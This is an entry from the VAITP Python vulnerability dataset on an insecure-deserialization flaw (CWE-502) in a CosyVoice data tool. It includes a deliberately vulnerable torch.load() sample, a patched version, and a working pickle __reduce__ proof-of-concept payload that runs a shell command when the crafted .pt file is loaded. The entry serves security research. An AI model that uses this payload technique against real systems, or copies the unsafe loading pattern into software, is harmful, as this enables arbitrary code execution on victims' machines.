VAITP Dataset

← Back to the dataset

CVE-2026-31249

CosyVoice: RCE in data tool via malicious .pt files from deserialization.

  • CVSS 7.3
  • CWE-502
  • Input Validation and Sanitization
  • Local

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its make_parquet_list.py data processing tool. The script loads PyTorch .pt files (utterance embeddings, speaker embeddings, speech tokens) using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious .pt files within a data directory. When a victim processes this directory using the tool, arbitrary code is executed on the victim's system.

CVSS base score
7.3
Published
2026-05-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
CosyVoice

Solution

In `make_parquet_list.py`, modify all `torch.load()` calls to `torch.load(…, weights_only=True)`. No official patch is available.

Vulnerable code sample

import os
import torch
import argparse

def create_parquet_list(data_dir):
    """
    Scans a directory for .pt files (embeddings, tokens) and processes them.
    """
    processed_files = []
    print(f"Scanning directory: {data_dir}")

    for root, _, files in os.walk(data_dir):
        for filename in files:
            if filename.endswith(".pt"):
                file_path = os.path.join(root, filename)
                try:
                    print(f"Processing {file_path}...")
                    # Vulnerable line: Deserializes data from a .pt file.
                    # An attacker can craft a malicious .pt file that executes
                    # arbitrary code when loaded via torch.load, as pickle is used
                    # by default and 'weights_only=True' is not set.
                    data = torch.load(file_path)

                    # Simulate extracting information for the parquet list
                    record = {
                        'path': file_path,
                        'type': 'embedding' if 'embedding' in filename else 'token',
                        'size': data.numel() if hasattr(data, 'numel') else 0
                    }
                    processed_files.append(record)

                except Exception as e:
                    print(f"Error processing {file_path}: {e}")
    
    print("Finished processing.")
    # In a real script, this list would be saved as a parquet file.
    # For example:
    # import pandas as pd
    # df = pd.DataFrame(processed_files)
    # df.to_parquet('output.parquet')
    return processed_files

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="A data processing tool to create a parquet list from .pt files."
    )
    parser.add_argument(
        "data_directory",
        type=str,
        help="The root directory containing the .pt files to process."
    )
    args = parser.parse_args()
    
    if not os.path.isdir(args.data_directory):
        print(f"Error: Directory not found at {args.data_directory}")
    else:
        create_parquet_list(args.data_directory)

Patched code sample

import torch
import pathlib

def process_utterance_files(data_directory: str):
    """
    This function represents the data processing logic from make_parquet_list.py,
    demonstrating the fix for the insecure deserialization vulnerability.

    Args:
        data_directory: The path to the directory containing .pt files.
    """
    for pt_file in pathlib.Path(data_directory).rglob("*.pt"):
        try:
            # VULNERABLE CODE (commented out for demonstration)
            # Deserializing a file without safety checks allows a malicious .pt file
            # to execute arbitrary code via the pickle module.
            # data = torch.load(pt_file)

            # FIXED CODE
            # By setting `weights_only=True`, torch.load is restricted to loading
            # only tensors, storages, and dicts of them. It will raise an error
            # if the file contains any other Python object, mitigating the
            # arbitrary code execution vulnerability (CWE-502).
            data = torch.load(pt_file, weights_only=True)

            # In a real scenario, the loaded 'data' would be processed further.
            print(f"Successfully and securely loaded: {pt_file}")

        except Exception as e:
            print(f"Could not load file {pt_file}: {e}")

Payload

import torch
import os

class Exploit:
    def __reduce__(self):
        command = 'touch /tmp/pwned'
        return (os.system, (command,))

malicious_object = Exploit()

# The filename can be any of the expected .pt files, e.g., utterance_embeddings.pt
torch.save(malicious_object, 'speaker_embeddings.pt')

Cite this entry

@misc{vaitp:cve202631249,
  title        = {{CosyVoice: RCE in data tool via malicious .pt files from deserialization.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31249},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31249/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::